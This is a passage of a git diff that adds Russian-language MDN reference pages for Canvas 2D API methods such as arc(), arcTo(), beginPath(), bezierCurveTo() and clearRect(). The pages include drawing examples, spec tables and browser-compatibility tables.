+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="200"&gt;&lt;/canvas&gt;
+</pre>
+
+<h6 id="JavaScript_2">JavaScript</h6>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Draw shapes
+for (i=0;i&lt;4;i++){
+  for(j=0;j&lt;3;j++){
+    ctx.beginPath();
+    var x              = 25+j*50;               // x coordinate
+    var y              = 25+i*50;               // y coordinate
+    var radius         = 20;                    // Arc radius
+    var startAngle     = 0;                     // Starting point on circle
+    var endAngle       = Math.PI+(Math.PI*j)/2; // End point on circle
+    var anticlockwise  = i%2==1;                // Draw anticlockwise
+
+    ctx.arc(x,y,radius,startAngle,endAngle, anticlockwise);
+
+    if (i&gt;1){
+      ctx.fill();
+    } else {
+      ctx.stroke();
+    }
+  }
+}</pre>
+
+<p>{{ EmbedLiveSample('Different_shapes_demonstrated', 160, 210, "https://mdn.mozillademos.org/files/204/Canvas_arc.png") }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Примечания_относительно_Gecko">Примечания относительно Gecko</h2>
+
+<p>Начиная с Gecko 2.0 {{geckoRelease("2.0")}}:</p>
+
+<ul>
+ <li><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Параметр </span></font><code>anticlockwise</code> опциональный,</li>
+ <li>Указывание отрицательного радиуса теперь приводит к ошибке {{domxref("DOMError", "IndexSizeError")}} error ("Index or size is negative or greater than the allowed amount").</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс <code>Canvas</code>, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
new file mode 100644
index 0000000000..53a13ff758
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/arcto/index.html
@@ -0,0 +1,256 @@
+---
+title: CanvasRenderingContext2D.arcTo()
+slug: Web/API/CanvasRenderingContext2D/arcTo
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/arcTo
+---
+<div>{{APIRef}}</div>
+
+<p>В Canvas 2D API есть метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.arcTo()</code></strong>. Он добавляет дугу к контуру (path) с заданными контрольными точками и радиусом, соединяя их прямой линией с предыдущей точкой контура.</p>
+
+<p>Обычно метод используется для скругления углов.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Помните, что вы можете получить неожиданный результат при использовании большого радиуса: соединтельная линия дуги будет идти в любом направлении, в котором она должна соответствовать указанному радиусу.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.arcTo(x1, y1, x2, y2, radius);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x1</code></dt>
+ <dd>Координата <u>x</u> первой контрольной точки.</dd>
+ <dt><code>y1</code></dt>
+ <dd>Координата <u>y</u> первой контрольной точки.</dd>
+ <dt><code>x2</code></dt>
+ <dd>Координата <u>x</u> второй контрольной точки.</dd>
+ <dt><code>y2</code></dt>
+ <dd>Координата <u>y</u> второй контрольной точки.</dd>
+ <dt><code>radius</code></dt>
+ <dd>Радиус дуги. Не может быть отрицательным.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Как_работает_arcTo">Как работает arcTo</h3>
+
+<p>Один из способов понять как работает <code>arcTo()</code> - представить две прямые линии: одна идёт от начальной точки к первой контрольной точке, а вторая от этой точки до второй контрольной точки. Без <code>arcTo()</code> эти два сегмента образовали бы остый угол: <code>arcTo()</code> cоздаёт дугу между этими двумя точками и сглаживает его. Другими словами, дуга является касательной для обеих линий.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+// Касательная линия
+ctx.beginPath();
+ctx.strokeStyle = 'gray';
+ctx.moveTo(200, 20);
+ctx.lineTo(200, 130);
+ctx.lineTo(50, 20);
+ctx.stroke();
+
+// Дуга
+ctx.beginPath();
+ctx.strokeStyle = 'black';
+ctx.lineWidth = 5;
+ctx.moveTo(200, 20);
+ctx.arcTo(200,130, 50,20, 40);
+ctx.stroke();
+
+// Начальная точка
+ctx.beginPath();
+ctx.fillStyle = 'blue';
+ctx.arc(200, 20, 5, 0, 2 * Math.PI);
+ctx.fill();
+
+// Контрольные точки
+ctx.beginPath();
+ctx.fillStyle = 'red';
+ctx.arc(200, 130, 5, 0, 2 * Math.PI); // Первая контрольная точка
+ctx.arc(50, 20, 5, 0, 2 * Math.PI);   // Вторая контрольная точка
+ctx.fill();</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>В этом примере контур, созданный с помощью <code>arcTo()</code> <strong>жирный и чёрный</strong>. <span style="color: gray;">Касательная линия серия</span>, <span style="color: red;">контрольные точки красные</span>, а <span style="color: blue;">начальная точка синяя</span>. </p>
+
+<p>{{ EmbedLiveSample('Как_работает_arcTo', 315, 165) }}</p>
+
+<h3 id="Создание_скругленного_угла">Создание скругленного угла</h3>
+
+<p>В этом примере создаётся скруглённый угол с использованием <code>arcTo()</code>. Это ещё один метод, который часто используется.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>Дуга начинается в точке, заданной в <code>moveTo()</code>: (230, 20). Она сформирована так, чтобы соответствовать точкам на (90, 130) и (20, 20) с радиусом 50. Метод <code>lineTo()</code> соединяет дугу с (20, 20) прямой линией. Заметьте, что вторая контрольная точка дуги и точка, заданная в <code>lineTo()</code> одинаковые, что создаёт абсолютно гладкий угол.</p>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+const p0 = { x: 230, y: 20  }
+const p1 = { x: 90,  y: 130 }
+const p2 = { x: 20,  y: 20  }
+
+const labelPoint = function (p) {
+  const offset = 15;
+  ctx.fillText('(' + p.x + ',' + p.y + ')', p.x + offset, p.y + offset);
+}
+
+ctx.beginPath();
+ctx.moveTo(p0.x, p0.y);
+ctx.arcTo(p1.x, p1.y, p2.x, p2.y, 50);
+ctx.lineTo(p2.x, p2.y);
+
+labelPoint(p0);
+labelPoint(p1);
+labelPoint(p2);
+
+ctx.stroke();</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{ EmbedLiveSample('Создание_скругленного_угла', 315, 165) }}</p>
+
+<h3 id="Результат_с_большим_радиусом">Результат с большим радиусом</h3>
+
+<p>Если вы используете относительно большой радиус, дуга может появиться в том месте, где вы её не ожидаете. В данном примере соединительная линия дуги идёт вверху, а не внизу. Это происходит потому что радиус слишком большой, чтобы уместить дугу между точками.</p>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_3">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(180, 90);
+ctx.arcTo(180,130, 110,130, 130);
+ctx.lineTo(110, 130);
+ctx.stroke();</pre>
+
+<h4 id="Результат_3">Результат</h4>
+
+<p>{{ EmbedLiveSample('Результат_с_большим_радиусом', 315, 165) }}</p>
+
+<h3 id="Живая_демонстрация">Живая демонстрация</h3>
+
+<p>Более сложная демонстрация метода. Вы можете поиграть с диапазоном ввода, чтобы увидеть, как изменяется дуга.</p>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;label for="radius"&gt;Radius: &lt;/label&gt;
+  &lt;input name="radius"  type="range" id="radius" min=0 max=100 value=50&gt;
+  &lt;label for="radius"  id="radius-output"&gt;50&lt;/label&gt;
+&lt;/div&gt;
+&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_4">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx    = canvas.getContext('2d');
+
+const controlOut = document.getElementById('radius-output');
+const control    = document.getElementById('radius');
+      control.oninput = () =&gt; {
+          controlOut.textContent = r = control.value;
+      };
+
+const mouse = { x: 0, y: 0 };
+
+let   r  = 100; // Radius
+const p0 = { x: 0, y: 50 };
+
+const p1 = { x: 100, y: 100 };
+const p2 = { x: 150, y: 50 };
+const p3 = { x: 200, y: 100 };
+
+const labelPoint = function (p, offset, i = 0){
+    const {x, y} = offset;
+    ctx.beginPath();
+    ctx.arc(p.x, p.y, 2, 0, Math.PI * 2);
+    ctx.fill();
+    ctx.fillText(`${i}:(${p.x}, ${p.y})`, p.x + x, p.y + y);
+}
+
+const drawPoints = function (points){
+  for (let i = 0; i &lt; points.length; i++) {
+    var p = points[i];
+    labelPoint(p, { x: 0, y: -20 } , i)
+  }
+}
+
+// Draw arc
+const drawArc = function ([p0, p1, p2], r) {
+  ctx.beginPath();
+  ctx.moveTo(p0.x, p0.y);
+  ctx.arcTo(p1.x, p1.y, p2.x, p2.y, r);
+  ctx.lineTo(p2.x, p2.y);
+  ctx.stroke();
+}
+
+
+let t0 = 0;
+let rr = 0; // радиус, который меняется со временем
+let a  = 0; // angle
+let PI2 = Math.PI * 2;
+const loop = function (t) {
+  t0 = t / 1000;
+  a  = t0 % PI2;
+  rr = Math.abs(Math.cos(a) * r);
+
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+
+  drawArc([p1, p2, p3], rr);
+  drawPoints([p1, p2, p3]);
+  requestAnimationFrame(loop);
+}
+
+loop(0);</pre>
+
+<h4 id="Результат_4">Результат</h4>
+
+<p>{{EmbedLiveSample('Живая_демонстрация', 315, 200) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arcto", "CanvasRenderingContext2D.arcTo")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.CanvasRenderingContext2D.arcTo")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент определяющий этот метод, {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html b/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html
new file mode 100644
index 0000000000..2f6aa4c3e1
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/beginpath/index.html
@@ -0,0 +1,128 @@
+---
+title: CanvasRenderingContext2D.beginPath()
+slug: Web/API/CanvasRenderingContext2D/beginPath
+translation_of: Web/API/CanvasRenderingContext2D/beginPath
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D.beginPath()</strong></code> Canvas 2D API запускает новый путь, опуская список подпутей. Вызовите этот метод, когда хотите создать новый путь.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.beginPath();</var>
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_beginPath_метода">Использование <code>beginPath</code> метода</h3>
+
+<p>Это простой фрагмент кода, использующий <code>beginPath</code> метод.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5,12]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Первый путь
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20, 20);
+ctx.lineTo(200, 20);
+ctx.stroke();
+
+// Второй путь
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20, 20);
+ctx.lineTo(120, 120);
+ctx.stroke();
+</pre>
+
+<p>Отредактируйте код ниже чтобы увидеть изменения в canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:200px"&gt;
+// First path
+ctx.beginPath();
+ctx.strokeStyle = 'blue';
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.stroke();
+
+// Second path
+ctx.beginPath();
+ctx.strokeStyle = 'green';
+ctx.moveTo(20,20);
+ctx.lineTo(120, 120);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 460) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.beginPath")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий это, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.closePath()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
new file mode 100644
index 0000000000..209c19e523
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/beziercurveto/index.html
@@ -0,0 +1,193 @@
+---
+title: CanvasRenderingContext2D.bezierCurveTo()
+slug: Web/API/CanvasRenderingContext2D/bezierCurveTo
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/bezierCurveTo
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.bezierCurveTo()</code></strong>, предоставляемый Canvas 2D API, добавляет кубическую кривую Безье к контуру. Для построения требуются три точки. Первые две точки являются контрольными, а третья - конечной. Начальной точкой является последняя точка в текущем контуре, и она может быть изменена методом {{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}} перед созданием кривой Безье.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.bezierCurveTo(cp1x, cp1y, cp2x, cp2y, x, y);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>cp1x</code></dt>
+ <dd>Координата первой контрольной точки по оси x.</dd>
+ <dt><code>cp1y</code></dt>
+ <dd>Координата первой контрольной точки по оси y.</dd>
+ <dt><code>cp2x</code></dt>
+ <dd>Координата второй контрольной точки по оси x.</dd>
+ <dt><code>cp2y</code></dt>
+ <dd>Координата второй контрольной точки по оси y.</dd>
+ <dt><code>x</code></dt>
+ <dd>Координата конечной точки по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата конечной точки по оси y.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_bezierCurveTo">Использование метода <code>bezierCurveTo</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, рисующий кривую Безье. <span style="color: red;">Контрольные точки нарисованы красным цветом</span>, а <span style="color: blue;">начальная и конечная точки - синим</span>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[6]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(50,20);
+ctx.bezierCurveTo(230, 30, 150, 60, 50, 100);
+ctx.stroke();
+
+ctx.fillStyle = 'blue';
+// начальная точка
+ctx.fillRect(50, 20, 10, 10);
+// конечная точка
+ctx.fillRect(50, 100, 10, 10);
+
+ctx.fillStyle = 'red';
+// первая контрольная точка
+ctx.fillRect(230, 30, 10, 10);
+// вторая контрольная точка
+ctx.fillRect(150, 70, 10, 10);</pre>
+
+<p>{{ EmbedLiveSample('Использование_метода_bezierCurveTo', 315, 165) }}</p>
+
+<h3 id="Практическое_применение_bezierCurveTo">Практическое применение <code>bezierCurveTo</code></h3>
+
+<p>Вы можете редактировать код, представленный ниже, и внесенные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.beginPath();
+ctx.bezierCurveTo(50, 100, 180, 10, 20, 10);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Практическое_применение_bezierCurveTo', 700, 360) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beziercurveto", "CanvasRenderingContext2D.beziercurveto")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li><a href="https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%B2%D0%B0%D1%8F_%D0%91%D0%B5%D0%B7%D1%8C%D0%B5">Статья в Википедии про кривые Безье</a>.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html b/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html
new file mode 100644
index 0000000000..8d483e62a7
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/canvas/index.html
@@ -0,0 +1,66 @@
+---
+title: CanvasRenderingContext2D.canvas
+slug: Web/API/CanvasRenderingContext2D/canvas
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Property
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/canvas
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D.canvas</strong></code> является доступной только для чтения ссылкой на объект {{domxref("HTMLCanvasElement")}}, связанный с текущим контекстом. Может иметь значение {{jsxref("null")}}, если контекст не связан с элементом {{HTMLElement("canvas")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em></var>.canvas;</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Создадим элемент {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Вы можете получить ссылку на этот элемент из объекта <code>CanvasRenderingContext2D,</code> используя свойство <code>canvas</code>:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+ctx.canvas // HTMLCanvasElement
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+
+<p>{{Compat("api.CanvasRenderingContext2D.canvas")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API">Canvas API</a></li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
new file mode 100644
index 0000000000..33e198ddec
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/clearrect/index.html
@@ -0,0 +1,187 @@
+---
+title: CanvasRenderingContext2D.clearRect()
+slug: Web/API/CanvasRenderingContext2D/clearRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Method
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/clearRect
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.clearRect()</code></strong>, предоставляемый Canvas 2D API, устанавливает прозрачный черный цвет для всех пикселей, расположенных внутри прямоугольника, заданного начальной точкой <em>(x, y)</em> и размерами <em>(width, height)</em>, таким образом стирая любое ранее нарисованное содержимое.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.clearRect(x, y, width, height);</var>
+</pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Координата начальной точки прямоугольника по оси y.</dd>
+ <dt><code>width</code></dt>
+ <dd>Ширина прямоугольника.</dd>
+ <dt><code>height</code></dt>
+ <dd>Высота прямоугольника.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Использование_метода_clearRect">Использование метода <code>clearRect</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий метод <code>clearRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[11]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // рисует последнюю линию треугольника
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);
+
+// очистить весь холст
+// ctx.clearRect(0, 0, canvas.width, canvas.height);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code" style="height:140px;"&gt;
+ctx.beginPath();
+ctx.moveTo(20,20);
+ctx.lineTo(200,20);
+ctx.lineTo(120,120);
+ctx.closePath(); // рисует последнюю линию треугольника
+ctx.stroke();
+
+ctx.clearRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
